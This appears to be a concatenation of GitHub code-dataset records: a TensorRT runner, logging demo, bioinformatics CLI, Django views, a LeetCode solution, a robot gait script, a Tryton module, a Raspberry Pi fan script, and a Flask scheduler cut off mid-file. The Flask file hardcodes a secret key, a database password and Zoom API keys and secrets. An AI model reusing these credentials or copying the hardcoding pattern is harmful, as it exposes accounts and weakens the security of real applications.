profile_shape[0][0] <= batch_size and profile_shape[2][0] >= batch_size \\\n               and profile_shape[0][1] <=  sequence_length and profile_shape[2][1] >= sequence_length:\n                G_LOGGER.debug(\"Selected profile: {}\".format(profile_shape))\n                selected_profile_idx = idx\n                break\n\n        if selected_profile_idx == -1:\n            raise RuntimeError(\"Could not find any profile that matches batch_size={}, sequence_length={}\".format(batch_size, sequence_length))\n\n        return selected_profile_idx\n\n    def __call__(self, *args, **kwargs):\n        self.trt_context.active_optimization_profile = self.profile_idx\n        return self.forward(*args, **kwargs)\n\nclass PolygraphyOnnxRunner:\n    def __init__(self, onnx_fpath: str, network_metadata: NetworkMetadata):\n        self.network_metadata = network_metadata\n        self.trt_session = SessionFromOnnx(onnx_fpath)\n        self.trt_context = OnnxrtRunner(self.trt_session)\n        self.trt_context.activate()\n\n    def __call__(self, *args, **kwargs):\n        # hook polygraphy verbosity for inference\n        g_logger_verbosity = (\n            G_LOGGER.EXTRA_VERBOSE\n            if G_LOGGER.root.level == G_LOGGER.DEBUG\n            else G_LOGGER.WARNING\n        )\n        with PG_LOGGER.verbosity(g_logger_verbosity):\n            return self.forward(*args, **kwargs)\n\n    def release(self):\n        self.trt_context.deactivate()\n\nclass TRTPolygraphyRunner:\n    \"\"\"\n    TRT implemented network interface that can be used to measure inference time.\n    Easier to use but harder to utilize. Recommend using TRTNativeRunner for better performance.\n    \"\"\"\n\n    def __init__(self, engine_fpath: str, network_metadata: NetworkMetadata):\n        self.network_metadata = network_metadata\n\n        self.trt_engine = engine_from_bytes(bytes_from_path(engine_fpath))\n        self.trt_context = TrtRunner(self.trt_engine.create_execution_context())\n        self.trt_context.activate()\n\n    def __call__(self, *args, **kwargs):\n        # hook polygraphy verbosity for inference\n        g_logger_verbosity = (\n            G_LOGGER.EXTRA_VERBOSE\n            if G_LOGGER.root.level == G_LOGGER.DEBUG\n            else G_LOGGER.WARNING\n        )\n\n        with PG_LOGGER.verbosity(g_logger_verbosity):\n            return self.forward(*args, **kwargs)\n\n    def release(self):\n        self.trt_context.deactivate()\n","repo_name":"thb1314/mmyolo_tensorrt","sub_path":"TensorRT/demo/HuggingFace/NNDF/tensorrt_utils.py","file_name":"tensorrt_utils.py","file_ext":"py","file_size_in_byte":7515,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"35"}
{"seq_id":"24611017932","text":"import sys\nimport logging\n\n# Create logger.\nlogger = logging.getLogger('example')\nlogger.setLevel(logging.DEBUG)\n\n# Define common format.\nformatter = logging.Formatter('%(asctime)s,%(name)s,%(levelname)s,%(message)s',\n                              datefmt='%Y-%m-%dT%H:%M:%S')\n\n# Send all logging messages to a file.\ntoFile = logging.FileHandler('log.csv')\ntoFile.setLevel(logging.DEBUG)\ntoFile.setFormatter(formatter)\n\n# Send errors and critical messages to standard error.\ntoScreen = logging.StreamHandler(sys.stderr)\ntoScreen.setLevel(logging.ERROR)\ntoScreen.setFormatter(formatter)\n\n# Stitch everything together.\nlogger.addHandler(toFile)\nlogger.addHandler(toScreen)\n\n# Try some messages.\nlogger.debug('debug')\nlogger.info('info')\nlogger.warning('warning')\nlogger.error('error')\nlogger.critical('critical')\n","repo_name":"jooolia/still-magic","sub_path":"src/logging/tee.py","file_name":"tee.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6073299761","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n__tool_name__='STREAM'\nprint('''\n   _____ _______ _____  ______          __  __ \n  / ____|__   __|  __ \\|  ____|   /\\   |  \\/  |\n | (___    | |  | |__) | |__     /  \\  | \\  / |\n  \\___ \\   | |  |  _  /|  __|   / /\\ \\ | |\\/| |\n  ____) |  | |  | | \\ \\| |____ / ____ \\| |  | |\n |_____/   |_|  |_|  \\_\\______/_/    \\_\\_|  |_|\n... Structure learning                                               \n''',flush=True)\n\nimport stream as st\nimport argparse\nimport multiprocessing\nimport os\nfrom slugify import slugify\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib as mpl\nimport sys\n\nmpl.use('Agg')\nmpl.rc('pdf', fonttype=42)\n\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\n\n\nprint('- STREAM Single-cell Trajectory Reconstruction And Mapping -',flush=True)\nprint('Version %s\\n' % st.__version__,flush=True)\n    \n\ndef main():\n    sns.set_style('white')\n    sns.set_context('poster')\n    parser = argparse.ArgumentParser(description='%s Parameters' % __tool_name__ ,formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    parser.add_argument(\"-m\", \"--data-file\", dest=\"input_filename\",default = None, help=\"input file name, pkl format from Stream preprocessing module\", metavar=\"FILE\")\n    parser.add_argument(\"-of\",\"--of\",dest=\"output_filename_prefix\", default=\"StreamiFSOutput\",  help=\"output file name prefix\")\n\n    parser.add_argument(\"-nb_pct\",\"--percent_neighbor_cells\",dest=\"nb_pct\", type=float, default=0.1, help=\"\")\n    parser.add_argument(\"-n_clusters\",dest=\"n_clusters\", type = int, default=10,  help=\"\")\n    parser.add_argument(\"-damping\",dest=\"damping\", type=float, default=0.75,   help=\"\")\n    parser.add_argument(\"-pref_perc\",dest=\"pref_perc\", type=int, default=50,   help=\"\")\n    parser.add_argument(\"-max_n_clusters\",dest=\"max_n_clusters\", type=int, default=200,   help=\"\")\n\n    parser.add_argument(\"-clustering\",dest=\"clustering\",  default='kmeans',  help=\"\")\n    \n    parser.add_argument(\"-comp1\",dest=\"comp1\", type = int, default=0,  help=\"\")   \n    parser.add_argument(\"-comp2\",dest=\"comp2\", type = int, default=1,  help=\"\")      \n    parser.add_argument(\"-n_comp\",dest=\"n_comp\", type = int, default=3,  help=\"\")      \n\n\n    parser.add_argument(\"-fig_width\",dest=\"fig_width\", type=int, default=8, help=\"\")        \n    parser.add_argument(\"-fig_height\",dest=\"fig_height\", type=int, default=8, help=\"\")\n    parser.add_argument(\"-fig_legend_ncol\",dest=\"fig_legend_ncol\", type=int, default=None, help=\"\")                                   \n\n\n    args = parser.parse_args()\n    \n    print('Starting validation procedure...')\n    workdir = \"./\"\n\n    adata = st.read(file_name=args.input_filename, file_format='pkl', experiment='rna-seq', workdir=workdir)\n\n    st.seed_elastic_principal_graph(adata, clustering=args.clustering, n_clusters=args.n_clusters, damping=args.damping, pref_perc=args.pref_perc,  max_n_clusters=args.max_n_clusters, nb_pct=args.nb_pct)\n    st.plot_branches(adata, n_components=args.n_comp, comp1=args.comp1, comp2=args.comp2, save_fig=True, fig_name=(args.output_filename_prefix +'_branches.png'), fig_path=None,fig_size=(args.fig_width, args.fig_height))\n    st.plot_branches_with_cells(adata,n_components=args.n_comp,comp1=args.comp1,comp2=args.comp2, save_fig=True,fig_name=(args.output_filename_prefix +'_branches_with_cells.png'),fig_path=None,fig_size=(args.fig_width, args.fig_height),fig_legend_ncol=args.fig_legend_ncol)\n\n    st.write(adata,file_name=(args.output_filename_prefix + '_stream_result.pkl'),file_path='./',file_format='pkl') \n\n    print('Finished computation.')\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"genepattern/STREAM.SeedEPGStructure","sub_path":"structure_command_line.py","file_name":"structure_command_line.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14423318086","text":"from django.shortcuts import render\n\n# from core.models.announcement import Announcement\nfrom core.models.conference import Conference\n\n# from core.models.technical_partner import TechnicalPartner\n\n\ndef render_registration(request, uniquename):\n    # Fetch conference\n    try:\n        conference = Conference.objects.get(unique_address=uniquename)\n        fees = conference.fees.all()\n        rich_information_blocks = conference.rich_information_block.filter(name=\"reg\")\n\n        fee_seggregated = dict()\n\n        for fee in fees:\n            fee_seggregated[fee] = fee.types.all()\n\n        return render(\n            request,\n            \"registration.html\",\n            {\"conference\": conference, \"fees\": fee_seggregated,\n                \"rich_information_blocks\": rich_information_blocks},\n        )\n    except Exception as err:\n        print(\"ERROR - Registration\", \"!!\" * 15, err)\n        return render(request, \"404.html\")\n\n\n# Create your views here.\ndef render_landing_page(request, uniquename):\n    try:\n        # Get conference\n        conference = Conference.objects.get(unique_address=uniquename)\n        # Render confernce template w details\n        return render(\n            request,\n            \"landing_page.html\",\n            {\n                \"conference\": conference,\n                \"announcements\": conference.announcements.all(),\n                \"no_of_announcements\": len(conference.announcements.all()),\n                \"technical_partners\": conference.technical_partners.all(),\n                \"publication_partners\": conference.publication_partners.all(),\n                \"early_schedule\": conference.early_track_schedule,\n                \"regular_schedule\": conference.early_regular_schedule,\n                \"speakers\": conference.speakers.all(),\n            },\n        )\n    except Exception as err:\n        print(\"ERROR- LANDING PAGE: \", err)\n        return render(request, \"404.html\")\n\n\ndef render_tpc(request, uniquename):\n    # Fetch conference\n    try:\n        conference = Conference.objects.get(unique_address=uniquename)\n        rich_information_blocks = conference.rich_information_block.filter(\n            name=\"tpc\")\n        return render(\n            request,\n            \"committee_template.html\",\n            {\n                \"conference\": conference,\n                \"committee_title\": \"Technical Program Committee\",\n                \"committee\": conference.technical_program.tpc_members.all(),\n            },\n        )\n    except Exception as err:\n        print(\"ERROR - TPC\", err)\n        return render(request, \"404.html\")\n\n\ndef render_national_committee(request, uniquename):\n    # Fetch conference\n    try:\n        conference = Conference.objects.get(unique_address=uniquename)\n        rich_information_blocks = conference.rich_information_block.filter(\n            name=\"nc\")\n        return render(\n            request,\n            \"committee_template.html\",\n            {\n                \"conference\": conference,\n                \"committee\": conference.national_advisory.national_members.all(),\n                \"committee_title\": \"National Advisory Committee\",\n            },\n        )\n    except Exception as err:\n        print(\"ERROR - NATIONAL ADVISORY\", err)\n        return render(request, \"404.html\")\n\n\ndef render_international_committee(request, uniquename):\n    # Fetch conference\n    try:\n        conference = Conference.objects.get(unique_address=uniquename)\n        rich_information_blocks = conference.rich_information_block.filter(\n            name=\"ic\")\n        return render(\n            request,\n            \"committee_template.html\",\n            {\n                \"conference\": conference,\n                \"committee\": conference.international_advisory.international_members.all(),\n                \"committee_title\": \"International Advisory Committee\",\n            },\n        )\n    except Exception as err:\n        print(\"ERROR - NATIONAL ADVISORY\", err)\n        return render(request, \"404.html\")\n\n\ndef render_steering_committee(request, uniquename):\n    try:\n        # Get associate conference\n        conference = Conference.objects.get(unique_address=uniquename)\n\n        # For steering_committee, create dict -> key:disgnation, value:fullname+affiliation\n        steering_committee_members = (\n            conference.steering_committee.steering_committee.all()\n        )\n\n        steering_committee_dict = dict()\n\n        for member in steering_committee_members:\n            try:\n                _ = steering_committee_dict[member.designation]\n                steering_committee_dict[member.designation].append(\n                    member.full_name)\n            except:\n                # Key not present - create a list <3\n                steering_committee_dict[member.designation] = [\n                    member.full_name,\n                ]\n\n        steering_committee_designations = list()\n        steering_committee_members_collection = list()\n\n        for _designation, _members in steering_committee_dict.items():\n            steering_committee_designations.append(_designation)\n            steering_committee_members_collection.append(_members)\n\n        return render(\n            request,\n            \"committee_template_4_steering.html\",\n            {\n                \"conference\": conference,\n                \"steering_committee_designations\": steering_committee_designations,\n                \"steering_committee_members_collection\": steering_committee_members_collection,\n                \"steering_committee_dict\": steering_committee_dict,\n                \"committee_title\": \"Steering Committee\",\n                \"no_affiliation\": True,\n            },\n        )\n    except Exception as err:\n        print(\"ERROR - STEERING COMMITTEE\", err)\n        return render(request, \"404.html\")\n\n\ndef render_tracks(request, uniquename):\n    # Fetch conference\n    try:\n        conference = Conference.objects.get(unique_address=uniquename)\n        return render(\n            request,\n            \"tracks.html\",\n            {\n                \"conference\": conference,\n                \"tracks\": conference.tracks.all(),\n            },\n        )\n    except:\n        return render(request, \"404.html\")\n\n\ndef render_latest_conference(request):\n    # Render the most recently created\n\n    # Fetch the most-recently scheduled event\n    Conference.objects.order_by(\"-created_at\")\n    conference: Conference = Conference.objects.first()\n\n    full_month_name = conference.venue.start_date.strftime(\"%B\")\n    print(\"*\" * 10, full_month_name)\n\n    # Render confernce template w details\n    try:\n        return render(\n            request,\n            \"landing_page.html\",\n            {\n                \"conference\": conference,\n                \"announcements\": conference.announcements.all(),\n                \"no_of_announcements\": len(conference.announcements.all()),\n                \"technical_partners\": conference.technical_partners.all(),\n                \"publication_partners\": conference.publication_partners.all(),\n                \"early_schedule\": conference.early_track_schedule,\n                \"regular_schedule\": conference.early_regular_schedule,\n                \"speakers\": conference.speakers.all(),\n                \"bulletpoints\": conference.bulletpoints.all(),\n            },\n        )\n    except Exception as err:\n        print(\"ERROR- LANDING PAGE: \", err)\n        return render(request, \"404.html\")\n","repo_name":"vhaegar1526/MIDAS","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21567947330","text":"class Solution(object):\n    def firstUniqChar(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: int\n        \"\"\"\n        if not s:\n            return -1\n        res = float('inf')\n        dic = defaultdict(list)\n        for i, v in enumerate(s):\n            dic[v].append(i)\n        for val in dic.values():\n            if len(val) == 1:\n                res = min(res, val[0])\n        if res == float('inf'):\n            return -1\n        else:\n            return res\n        \n    # if index are the same     \n    def firstUniqChar(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: int\n        \"\"\"    \n        for i in s:\n            if s.find(i) == s.rfind(i):\n                return s.find(i)\n        return -1\n","repo_name":"bingli8802/leetcode","sub_path":"0387_First_Unique_Character_in_a_String.py","file_name":"0387_First_Unique_Character_in_a_String.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18710457086","text":"import datetime\nimport time\nimport numpy as np\nfrom dynamixel_sdk import *\nimport os\n\n# from scripts.icra.pid_con import DEVICENAME\n\nif os.name == 'nt':\n    import msvcrt\n    def getch():\n        return msvcrt.getch().decode()\nelse:\n    import sys, tty, termios\n    fd = sys.stdin.fileno()\n    old_settings = termios.tcgetattr(fd)\n    def getch():\n        try:\n            tty.setraw(sys.stdin.fileno())\n            ch = sys.stdin.read(1)\n        finally:\n            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n        return ch\n\n\ndef serpenoid(t, b, b2, a, a2, e_d1, e_d2, e_l1, e_l2, delta):\n    #Hirose (1993) serpenoid curve implementations\n    f1 = e_d2 * t\n    f2 = e_l2 * t\n\n    j_1 = b + a * np.sin(e_d1 + f1)\n    j_2 = b2 + a2 * np.sin(e_l1 * 2 + f2 + delta)\n\n    j_3 = b + a * np.sin(e_d1 * 3 + f1)\n    j_4 = b2 + a2 * np.sin(e_l1 * 4 + f2 + delta)\n\n    j_5 = b + a * np.sin(e_d1 * 5 + f1)\n    j_6 = b2 + a2 * np.sin(e_l1 * 6 + f2 + delta)\n\n    j_7 = b + a * np.sin(e_d1 * 7 + f1)\n    j_8 = b2 + a2 * np.sin(e_l1 * 8 + f2 + delta)\n\n    j_9 = b + a * np.sin(e_d1 * 9 + f1)\n    j_10 = b2 + a2 * np.sin(e_l1 * 10 + f2 + delta)\n\n    j_11 = b + a * np.sin(e_d1 * 11 + f1)\n    j_12 = b2 + a2 * np.sin(e_l1 * 12 + f2 + delta)\n\n    j_13 = b + a * np.sin(e_d1 * 13 + f1)\n    j_14 = b2 + a2 * np.sin(e_l1 * 14 + f2 + delta)\n\n    return np.array([j_1, j_2, j_3, j_4, j_5, j_6, j_7, j_8, j_9, j_10, j_11, j_12, j_13, j_14])\n\n    \n\ndef main():\n    b = 0\n    b2 = 0\n\n    a = 1\n    a2 = 1\n\n    e_d1 = np.radians(30)\n    e_l1 = np.radians(30)\n\n    e_d2 = 1\n    e_l2 = 1\n\n    # delta = np.radians(45) # for sidewinding\n    delta = np.radians(90) # for serpenoid\n\n    for i in range(0,1830):\n\n        goal = serpenoid(i/10, b, b2,a, a2, e_d1, e_l1, e_d2, e_l2)\n\n        commandQ = time.time()\n        for idx in range(15):\n            # Commnad motor here\n            \n            goalP = int(2048 + (goal[idx] * (1/0.088)))\n            #simulator.data.ctrl[idx] = gen.degtorad(goal[idx])\n\n            # GroupBW.addParam((14-(idx+1)),ADDR_GOAL_POSITION,4,goalP)\n            while(True):\n                t_period = time.time() - commandQ\n\n                if t_period > 0.1:\n                    packetHandler.write4ByteTxOnly(portHandler, (idx), ADDR_GOAL_POSITION, goalP)\n                    break\n\n    \nif __name__ == \"__main__\":\n\n# 모터 세팅 프로세스 시작!\n\n    ADDR_TORQUE_ENABLE          = 64\n    ADDR_GOAL_POSITION          = 116\n    ADDR_PRESENT_POSITION       = 132\n\n    LEN_GOAL_POSITION           = 4\n\n    DXL_MINIMUM_POSITION_VALUE  = 0         # Refer to the Minimum Position Limit of product eManual\n    DXL_MAXIMUM_POSITION_VALUE  = 4095      # Refer to the Maximum Position Limit of product eManual\n    BAUDRATE                    = 3000000 # -> 통신 속도 조절\n\n    PROTOCOL_VERSION            = 2.0\n\n    # ex) Windows: \"COM*\", Linux: \"/dev/ttyUSB*\", Mac: \"/dev/tty.usbserial-*\"\n    DEVICENAME                  = 'COM4'\n    # DEVICENAME                    = '/dev/tty.usbserial-FT3M9YHP'\n\n\n    # Initialize PortHandler instance\n    # Set the port path\n    # Get methods and members of PortHandlerLinux or PortHandlerWindows\n    portHandler = PortHandler(DEVICENAME)\n\n    # Initialize PacketHandler instance\n    # Set the protocol version\n    # Get methods and members of Protocol1PacketHandler or Protocol2PacketHandler\n    packetHandler = PacketHandler(PROTOCOL_VERSION)\n\n    # Open port\n    if portHandler.openPort():\n        print(\"Succeeded to open the port\")\n    else:\n        print(\"Failed to open the port\")\n        print(\"Press any key to terminate...\")\n        getch()\n        quit()\n\n\n    # Set port baudrate\n    if portHandler.setBaudRate(BAUDRATE):\n        print(\"Succeeded to change the baudrate\")\n    else:\n        print(\"Failed to change the baudrate\")\n        print(\"Press any key to terminate...\")\n        getch()\n        quit()\n\n    for i in range(14):\n        packetHandler.write1ByteTxRx(portHandler, (i), ADDR_TORQUE_ENABLE, 1)\n\n    # GroupBW = GroupBulkWrite(portHandler,packetHandler)\n\n#모터 세팅 프로세스 끝!\n\n    print('Ready for moving! press any key to move')\n    getch()\n    main()\n\n    # print('done!')\n\n    for i in range(14):\n        packetHandler.write1ByteTxRx(portHandler, (i), ADDR_TORQUE_ENABLE, 0)\n\n    time.sleep(0.1)\n\n    for i in range(14):\n        packetHandler.write1ByteTxRx(portHandler, (i), ADDR_TORQUE_ENABLE, 0)\n\n    time.sleep(0.1)\n\n    for i in range(14):\n        packetHandler.write1ByteTxRx(portHandler, (i), ADDR_TORQUE_ENABLE, 0)\n\n    time.sleep(0.1)\n\n    for i in range(14):\n        packetHandler.write1ByteTxRx(portHandler, (i), ADDR_TORQUE_ENABLE, 0)\n\n    time.sleep(0.1)\n\n    for i in range(14):\n        packetHandler.write1ByteTxRx(portHandler, (i), ADDR_TORQUE_ENABLE, 0)\n\n    portHandler.closePort()","repo_name":"VanguardDream/snake_RL","sub_path":"Intern_RnE/2023_Intern/Gait_param_hand_tuning.py","file_name":"Gait_param_hand_tuning.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2385734785","text":"from decimal import Decimal\nfrom trytond.model import fields\nfrom trytond.pool import Pool, PoolMeta\nfrom trytond.pyson import Eval\n\n__all__ = ['Distribution', 'Goal']\n__metaclass__ = PoolMeta\n\n\nclass NaturalYearMixin:\n\n    @classmethod\n    def __setup__(cls):\n        super(NaturalYearMixin, cls).__setup__()\n\n        @staticmethod\n        def default_month_field():\n            return Decimal('0.0')\n\n        for month in range(1, 13):\n            month_str = '%2.2d' % month\n            if not hasattr(cls, 'month_%s' % month_str):\n                label = 'Month %s' % month_str\n                digits = (16, Eval('currency_digits', 2)) if hasattr(cls,\n                    'currency_digits') else (16, 2)\n                depends = ['currency_digits'] if hasattr(cls,\n                    'currency_digits') else []\n                field = fields.Function(fields.Numeric(label,\n                        digits=digits, depends=depends),\n                    'get_month_field', setter='set_month_field')\n                setattr(cls, 'month_%s' % month_str, field)\n                setattr(cls, 'default_month_%s' % month_str,\n                    default_month_field)\n\n    @classmethod\n    def get_month_field(cls, instances, names):\n        pool = Pool()\n        Target = pool.get(cls.lines.model_name)\n        res = {}\n        ids = [x.id for x in instances]\n        for name in names:\n            res[name] = {}.fromkeys(ids, Decimal('0.0'))\n\n        parent_name = cls.lines.field\n        for line in Target.search([\n                    (parent_name, 'in', ids),\n                    ]):\n            if line.name in res:\n                parent_id = getattr(line, parent_name).id\n                res[line.name][parent_id] = line.value\n        return res\n\n    @classmethod\n    def set_month_field(cls, instances, name, value):\n        pool = Pool()\n        Target = pool.get(cls.lines.model_name)\n        to_write = []\n        to_create = []\n        line_name = name\n        for instance in instances:\n            for line in instance.lines:\n                if line.name == line_name:\n                    to_write.append(line)\n                    break\n            else:\n                to_create.append({\n                        cls.lines.field: instance.id,\n                        'value': value,\n                        'name': line_name,\n                        })\n        if to_write:\n            Target.write(to_write, {'value': value})\n        if to_create:\n            Target.create(to_create)\n\n\nclass Distribution(NaturalYearMixin):\n    __name__ = 'sale.goal.distribution'\n\n\nclass Goal(NaturalYearMixin):\n    __name__ = 'sale.goal'\n\n    @classmethod\n    def __setup__(cls):\n        super(Goal, cls).__setup__()\n\n        def on_change_month_field(field_name):\n            @fields.depends('distribution')\n            def method(self):\n                res = {}\n                if self.distribution:\n                    res['distribution'] = None\n                return res\n            return method\n\n        for month in range(1, 13):\n            field_name = 'month_%2.2d' % month\n            if not hasattr(cls, 'on_change_%s' % field_name):\n                setattr(cls, 'on_change_%s' % field_name,\n                    on_change_month_field(field_name))\n                getattr(cls, field_name).on_change.add('distribution')\n\n    def update_lines(self):\n        res = super(Goal, self).update_lines()\n        if 'lines' in res:\n            for _, line in res['lines'].get('add', []):\n                res[line['name']] = line['value']\n        return res\n","repo_name":"NaN-tic/trytond-sale_goal_natural_year","sub_path":"goal.py","file_name":"goal.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20659009775","text":"#!/usr/bin/python3\nfrom time import *\nimport RPi.GPIO as GPIO\nimport Adafruit_DHT\nfrom libraries import relay\n\nsensor = Adafruit_DHT.DHT22\npin = 22\nstate = GPIO.input(37)\n\nhumidity, temperature = Adafruit_DHT.read_retry(sensor, pin)\nsleep(2)\nhumidity, temperature = Adafruit_DHT.read_retry(sensor, pin)\n\nif humidity is not None and temperature is not None:\n    #humidity = float(humidity)\n    #temperature = float(temperature)\n\n    if (humidity > 20.0 or temperature > 24.0) and state == 1:\n        relay.relay1_on()\n        print(\"Ventilation system turned on\")\n        print(\"Temperature: %.2f\" % (temperature))\n        print(\"Humidity: %.2f\" % (humidity))\n    \n    elif (humidity < 20.0 and temperature < 24.0) and state == 0: \n        relay.relay1_off()\n        print(\"Ventilation system turned off\")\n        print(\"Temperature: %.2f\" % (temperature))\n        print(\"Humidity: %.2f\" % (humidity))\n\n    else:\n        print(\"No change to ventilation status needed\")\n\n\nelse:\n    print(\"Could not get temperature or humidity readings.\")\n","repo_name":"provwise/greenhouse_staging","sub_path":"fan_check.py","file_name":"fan_check.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71466843940","text":"from flask import Flask, render_template, redirect, url_for, request, session, flash\nfrom flask_bootstrap import Bootstrap\nfrom flask_wtf import FlaskForm \nfrom wtforms import StringField, PasswordField, BooleanField, SelectField, FileField, SelectMultipleField, RadioField, TextAreaField\n#from wtforms.ext.sqlalchemy.fields import QuerySelectField\nfrom wtforms.validators import InputRequired, Email, Length\nimport email_validator\nfrom flask_sqlalchemy  import SQLAlchemy\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user\nfrom flask_uploads import configure_uploads, IMAGES, UploadSet\nimport datetime\nfrom datetime import timedelta\nfrom functools import wraps\nimport pytz\nimport datetime\nfrom functools import wraps\nimport jwt\nimport requests\nimport json\nfrom time import time\nimport asyncio\nfrom GoogleNews import GoogleNews\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nimport smtplib, ssl\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'Thisissupposedtobesecret!'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql+psycopg2://postgres:superuncrackable@localhost:5432/patients'\napp.config['UPLOADED_IMAGES_DEST'] = '/Users/armaanjohal/Desktop/Healthcare_Scheduler_Project-master/Healthcare_Scheduler_Project/static'\napp.config['UPLOADED_IMAGES_ALLOW'] = set(['png', 'jpg', 'jpeg'])\napp.config['MAX_CONTENT_PATH'] = 2000\nbootstrap = Bootstrap(app)\ndb = SQLAlchemy(app)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'login'\n\nimages = UploadSet('images', IMAGES)\nconfigure_uploads(app, images)\n\n#Enter your API key and your API secret (for ZOOM)\n#API_KEY = 'SnvfkrTiRUKZK4zCK1hYMQ'  #'5Ev7vHyMTqmnzmoDz3buXQ'\n#API_SEC = 'RO1yDVWoWxUBZX2yIIcdXYrP2gNvqhnlBjGu'  #'OjbEsetTDDkCoWwUvK8pCPalCxN6zgn3AcuP'\n\nGTN_CODE = 'H$&jtG3eu!'\n\n\n######### TO DO (future) ############\n\t### Add share button (to social media) to patient_dashboard, doctor_dashboard, and index. \n\t### Integrate OpenEMR\n\t### \n\t###\n\t###\n\t###\n\t###\n\n\n\n##################################################################################################\n#Creating PostgreSQL tables\n##################################################################################################\n\n# class Patient(UserMixin, db.Model):\n# \t__tablename__ = 'patient'\n# \tid = db.Column(db.Integer, primary_key=True)\n# \tusername = db.Column(db.String(15), unique=True)\n# \temail = db.Column(db.String(50), unique=True)\n# \tpassword = db.Column(db.String(100))\n\n# class Doctor(UserMixin, db.Model):\n# \t__tablename__ = 'doctor'\n# \tid = db.Column(db.Integer, primary_key=True)\n# \tusername = db.Column(db.String(15), unique=True)\n# \temail = db.Column(db.String(50), unique=True)\n# \tpassword = db.Column(db.String(100))\n# \tnpi = db.Column(db.String(10), unique=True)\n# \tpracticeName = db.Column(db.String(80))\n# \tspecialty = db.Column(db.String(80))\n\nclass User(UserMixin, db.Model):\n\tid = db.Column(db.Integer, primary_key=True)\n\ttype = db.Column(db.String(20))  # this is the discriminator column\n\n\t__mapper_args__ = {\n\t\t'polymorphic_on':type,\n\t}\n\nclass Patient(User):\n\t__tablename__ = 'patient'\n\tid = db.Column(db.Integer, db.ForeignKey('user.id'), primary_key=True)\n\t#username = db.Column(db.String(15), unique=True)\n\tfname = db.Column(db.String(30))\n\tlname = db.Column(db.String(30))\n\tdob = db.Column(db.String(30))\n\temail = db.Column(db.String(50), unique=True)\n\tphoneNumber = db.Column(db.String(20), unique=True)\n\tpassword = db.Column(db.String(100))\n\ttimezone = db.Column(db.String(80))\n\tgtnclinic = db.Column(db.String(100))\n\tuserType = db.Column(db.String(80))\n\n\t__mapper_args__ = {\n\t\t'polymorphic_identity':'patient'\n\t}\n\nclass Doctor(User):\n\t__tablename__ = 'doctor'\n\tid = db.Column(db.Integer, db.ForeignKey('user.id'), primary_key=True)\n\t#username = db.Column(db.String(15), unique=True)\n\tfname = db.Column(db.String(30))\n\tlname = db.Column(db.String(30))\n\temail = db.Column(db.String(50), unique=True)\n\tphoneNumber = db.Column(db.String(20), unique=True)\n\tdob = db.Column(db.String(30))\n\tpassword = db.Column(db.String(100))\n\timgName = db.Column(db.String(150))\n\tnpi = db.Column(db.String(10), unique=True)\n\tpracticeName = db.Column(db.String(80))\n\tzoomlink = db.Column(db.String(50))\n\tspecialty = db.Column(db.String(80))\n\ttimezone = db.Column(db.String(80))\n\tmalpractice = db.Column(db.Boolean)\n\tliability = db.Column(db.Boolean)\n\tuserType = db.Column(db.String(80))\n\n\t__mapper_args__ = {\n\t\t'polymorphic_identity':'doctor'\n\t}\n\n# class Communities(UserMixin, db.Model):\n# \t__tablename__ = 'communities'\n# \tid = db.Column(db.Integer, primary_key=True)\n# \tcommunity = db.Column(db.String(150))\n\n# class Doctor_Communities(UserMixin, db.Model):\n# \t__tablename__ = 'doctor_communities'\n# \tid = db.Column(db.Integer, primary_key=True)\n# \tdoctor_id = db.Column(db.Integer, db.ForeignKey('doctor.id'))\n# \tcommunity_id = db.Column(db.Integer, db.ForeignKey('communities.id'))\n# \t#doctor = db.relationship(\"Doctor\", backref=db.backref(\"doctor\", uselist=False))\n# \t#communities = db.relationship(\"Communities\", backref=db.backref(\"communities\", uselist=False))\n\n# \t# To reference a community:\n# \t# community_object = Communities.query.filter_by(id=community_id).first()\n# \t# print(community_object.community)\n\nclass Schedule(UserMixin, db.Model):\n\t#schedule_id = db.Column(db.Integer, db.ForeignKey(Doctor.id), primary_key=True)\n\t__tablename__ = 'schedule'\n\tid = db.Column(db.Integer, primary_key=True)\n\tdoctor_id = db.Column(db.Integer, db.ForeignKey('doctor.id'))\n\t#doctor = db.relationship(\"Doctor\", backref=db.backref(\"doctor_schedule\", uselist=False))\n\ttimeAvailable = db.Column(db.DateTime)\n\tbooked = db.Column(db.Boolean, unique=False, default=False)\n\tpatient_id = db.Column(db.Integer, unique=False) ##CHANGE UNIQUE TO FALSE IF WANT TO ALLOW MULTIPLE PATIENT BOOKINGS\n\tdescription = db.Column(db.String(250))\n\tzoom = db.Column(db.String(250))\n\taccepted = 